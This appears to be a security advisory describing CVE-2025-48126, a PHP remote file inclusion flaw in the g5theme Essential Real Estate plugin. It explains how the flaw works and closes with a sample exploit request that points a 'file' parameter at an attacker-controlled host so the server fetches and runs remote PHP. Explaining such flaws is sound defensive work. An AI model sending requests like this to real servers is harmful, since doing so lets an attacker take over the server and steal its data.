Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a significant security vulnerability tagged as CVE-2025-48126. This particular vulnerability, an instance of PHP Remote File Inclusion, affects the Essential Real Estate plugin by g5theme. The plugin, commonly used in real estate websites for various functionalities, suffers from an Improper Control of Filename for Include/Require Statement in its PHP Program.
This vulnerability is significant due to its potential for system compromise and data leakage. Malicious actors could exploit this vulnerability to execute arbitrary PHP code on the server-side. Given the widespread use of the Essential Real Estate plugin in the real estate industry, the impact of this vulnerability could be extensive if left unaddressed.
Vulnerability Summary
CVE ID: CVE-2025-48126
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
g5theme Essential Real Estate | n/a through 5.2.1
How the Exploit Works
The vulnerability arises from the improper control of filenames in Include/Require statements in the PHP program of Essential Real Estate. This improper control allows remote files to be included, leading to Remote File Inclusion (RFI). In this scenario, an attacker could manipulate the PHP code that the server executes.
By injecting a malicious path into the vulnerable parameter, the attacker can cause the server to include a remote file containing malicious PHP code. Once included, this code is executed by the server, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of what exploiting this vulnerability could look like. The attacker sends a malicious HTTP request like the following:
GET /realestate.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, `realestate.php` is the vulnerable script, and `file` is the vulnerable parameter. The attacker has set the `file` parameter to a URL that points to a PHP file (`malicious.php`) under their control. The server then fetches and executes the malicious PHP script, leading to the potential compromise of the system.